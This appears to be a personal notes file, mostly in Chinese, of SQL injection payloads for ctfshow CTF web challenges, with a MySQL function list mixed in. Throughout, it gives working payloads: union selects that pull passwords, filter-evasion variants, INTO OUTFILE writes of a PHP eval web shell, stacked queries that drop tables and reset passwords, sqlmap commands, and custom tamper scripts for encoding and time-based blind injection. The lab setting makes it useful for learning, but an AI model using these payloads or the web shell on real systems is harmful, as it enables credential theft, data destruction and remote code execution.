0' or id ='27

999' union select id,password from ctfshow_user2 where username = 'flag

9999' union select id,hex(username),password from ctfshow_user3 where username = 'flag

1. **数学函数**
    
    - `ABS()`: 返回一个数的绝对值。
    - `CEIL()`: 返回大于或等于指定数字的最小整数。
    - `FLOOR()`: 返回小于或等于指定数字的最大整数。
    - `ROUND()`: 四舍五入到最接近的整数。
    - `MOD()`: 返回除法的余数。
2. **字符串函数**
    
    - `CONCAT()`: 连接两个或多个字符串。
    - `SUBSTRING()`: 返回字符串的子串。
    - `UPPER()`: 将字符串转换为大写。
    - `LOWER()`: 将字符串转换为小写。
    - `LENGTH()`: 返回字符串的长度。
    - `TRIM()`: 移除字符串首尾的空格。
    - `REPLACE()`: 替换字符串中的子串。
    - `REVERSE()`: 返回字符串的反转形式。/////////////////////////////////////
    - `LEFT()`: 返回字符串左边的字符。
    - `RIGHT()`: 返回字符串右边的字符。
3. **日期和时间函数**
    
    - `NOW()`: 返回当前的日期和时间。
    - `CURDATE()`: 返回当前的日期。
    - `CURTIME()`: 返回当前的时间。
    - `DATE()`: 提取日期部分。
    - `TIME()`: 提取时间部分。
    - `TIMESTAMP()`: 返回UNIX时间戳。
4. **加密函数**
    
    - `MD5()`: 返回字符串的MD5哈希值。
    - `SHA1()`: 返回字符串的SHA-1哈希值。
    - `AES_ENCRYPT()`: 使用AES加密算法加密字符串。
    - `AES_DECRYPT()`: 使用AES加密算法解密字符串。
5. **编码和解码函数**
    
    - `to_base64()`: 将字符串进行Base64编码。
    - `from_base64()`: 将Base64编码的字符串解码。
6. **其他**
    
    - `CAST()`: 将一个值转换为指定的数据类型。
    - `COALESCE()`: 返回参数列表中的第一个非NULL值。
    - `IF()`: 如果条件为真，则返回一个值，否则返回另一个值。
    - `NULLIF()`: 如果两个表达式相等，则返回NULL，否则返回第一个表达式。

0' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),"1","@A"),"2","@B"),"3","@C"),"4","@D"),"5","@E"),"6","@F"),"7","@G"),"8","@H"),"9","@I"),"0","@J") from ctfshow_user4 where username="flag" --+ 

import base64
 
flag64 = "Y@CRmc@Bhvd@CsyNjZiN@BU@JYy@J@EZTJiLTQzOGEtODg@EZC@J@CYjc@AMTZhNTBkMzR@I"
flag = flag64.replace("@A", "1").replace("@B", "2").replace("@C", "3").replace("@D", "4").replace("@E", "5").replace("@F", "6").replace("@G", "7").replace("@H", "8").replace("@I", "9").replace("@J", "0")
 
print(base64.b64decode(flag))
 

99' union select 1,"<?php eval(POST[1]):?>" into outfile '/var/www/html/1.php

PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B

99' union select 1,from_base64("PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B") into outfile '/var/www/html/4.php

999' or username = 'flag

1'or/**/1=1%23

1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23

/**/  注释
%0a   换行
%09   水平制表符
%0b   垂直制表符
%0C   换页
%0d   回车
·     反应号（要在括号里面用）不好用

%0a   换行
%09   水平制表符
%0b   垂直制表符
%0C   换页
%0d   回车
·     反应号（要在括号里面用）不好用

0'union%0aselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3

1'or'1'='1'%23

0'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3

0'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3

id=-1'or(id=26)and'1'='1
id=26'or(id=26)or'1'='2

id=26'or(id=26)or'1'='2

id=-1'or(id=26)and'1'='1
id=26'or(id=26)or'1'='2

999'%0cor%0cusername='flag

id=-1'or(id=26)and'1'='1

999'%0cor%0cusername%0clike'%la%

tableName=ctfshow_user group by pass having pass regexp(0x63746673686f77)

url: https://www.freecodecamp.org/chinese/news/sql-having-how-to-group-and-count-with-a-having-statement/
title: "如何使用 SQL HAVING 语句进行分组和计数"
description: "在 SQL 中，你可以在 GROUP BY 之后使用 HAVING 关键字根据指定条件查询数据库。与其他关键字一样，它返回满足条件的数据并过滤掉其余的数据。 引入 HAVING 关键字是因为 WHERE 子句无法与聚合函数一起使用。因此，你必须将 HAVING 子句与聚合函数一起使用，而不是 WHERE。 将 HAVING 子句与 GROUP BY 关键字一起使用，你可以将数据库中的数据排列为多个组。因此，你可以在大型数据库中使用它。 如何使用 HAVING 关键字 假设我在 student_scores 数据库中有一个名为 students 的表。SELECT * FROM students 返回以下内容： 你可以通过运行 SELECT name, score FROM students 仅获取姓名和分数。 然后，你可以使用 HAVING 关键字根据条件过滤掉一些学生，例如，那些得分大于 70 的人。 但在此之前，你必须像这样使用 GROUP BY 子句："
host: www.freecodecamp.org
favicon: https://cdn.freecodecamp.org/universal/favicons/favicon.ico
image: https://chinese.freecodecamp.org/news/content/images/2022/09/sqlHaving.png

username=1||1
password=0

admin
1' or '2>1

username=1;update`ctfshow_user`set`pass`=1&password=1
//这里username=1；写成username=0;也可以的，不影响后面update的执行，两条语句都会执行。

这里除了用username=1 也可以用0
因为无单引号包裹，所以0会匹配所有字母和特殊符号开头的用户

删除表
drop table ctfshow_user;
新建表
create table ctfshow_user(`username`varchar(100),`password`varchar(100)); 
插入数据
insert ctfshow_user(`username`,`password`) value(1,2)

0;drop table ctfshow_user;create table ctfshow_ user(`username`varchar(100),`pass`varchar(100)); insert ctfshow_user(`username`,`pass`) value(1,2);

0;insert ctfshow_user(`username`,`pass`) value(1,2);

INSERT INTO ctfshow_user
SET username = 1, pass = 2;

show tbales;
密码用table名就行了， 要允许使用空格

也可以用change解法

python3 .\sqlmap.py -u "http://96c0f4db-c9bc-4ef0-bb33-fbadd8c9580d.challenge.ctf.show/api/" --data "id=1" --user-agent=sqlmap --referer=ctf.show --dbs

--method=PUT /POST /GET /DELETE

 python3 sqlmap.py -u "http://d1067e94-bf33-4c44-8d8e-9403e285f77b.challenge.ctf.show/api/index.php"   --method=PUT  --data="id=1" -H "content-type:text/plain"  -A "sqlmap" --referer="ctf.show" --dbs -D ctfshow_web -T ctfshow_user --dump

python sqlmap.py -u "http://988a6d4a-3972-4bd8-a3ed-3780ab29ef0b.challenge.ctf.show/api/index.php" --method=PUT  --data="id=1" -H "content-type:text/plain"  -A "sqlmap" --referer="ctf.show" --cookie="ctfshow=5a4db04f2b67166a885d7b120c621743;PHPSESSID=2nqu6lvjjl0gh8916sb4g2cqrk;"

--prefix=PREFIX     注入载荷前缀字符串
--suffix=SUFFIX     注入载荷后缀字符串

--prefix="')"
--suffix="#"

--tamper=space2comment

python .\sqlmap.py -u http://77f0b217-dc38-4664-ae76-cc8df317ec04.challenge.ctf.show/api/index.php --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://77f0b217-dc38-4664-ae76-cc8df317ec04.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=luo5jiionph6ao4956jddfo1d3" --tamper="space=xing" -D ctfshow_web --tables

function decode($id){ return strrev(base64_decode(strrev(base64_decode($id)))); }解释代码

import base64
 
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
 
__priority__=  PRIORITY.NORMAL
 
def dependencies():
    singleTimeWarnMessage("空格置换/**/、双写绕过select")
def tamper(payload,**kwargs):
    payload = payload.replace(" ","/**/")
    payload = payload[::-1]
    payload1= base64.b64encode(payload.encode('utf-8')).decode('utf-8')
    payload1 = payload1[::-1]
    payload2= base64.b64encode(payload1.encode('utf-8')).decode('utf-8')
    return payload2

import base64
 
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
 
__priority__=  PRIORITY.NORMAL
 
def dependencies():
    singleTimeWarnMessage("空格置换/**/、双写绕过select")
def tamper(payload,**kwargs):
    payload = payload.replace(" ",chr(0x09))
    payload = payload[::-1]
    payload1= base64.b64encode(payload.encode('utf-8')).decode('utf-8')
    payload1 = payload1[::-1]
    payload2= base64.b64encode(payload1.encode('utf-8')).decode('utf-8')
    return payload2

'MQ==') or if(ascii(substr((select database()),{0},1))>{1},sleep(2),0)-- +

import base64
 
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
 
__priority__=  PRIORITY.NORMAL
 
def dependencies():
    pass
def tamper(payload,**kwargs):
    payload = payload.replace("1'", "'MQ=='")
    return payload

1) or if(ascii(substr((select database()),{0},1))>{1},benchmark(100000000,sha('test')),0)-- +

import base64
 
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
 
__priority__=  PRIORITY.NORMAL
 
def dependencies():
    pass
def tamper(payload,**kwargs):
    payload = payload.replace("SLEEP(5)", """(concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b')""")
    return payload

select * from (select * from ctfshow_user)a,(select * from ctfshow_user)b;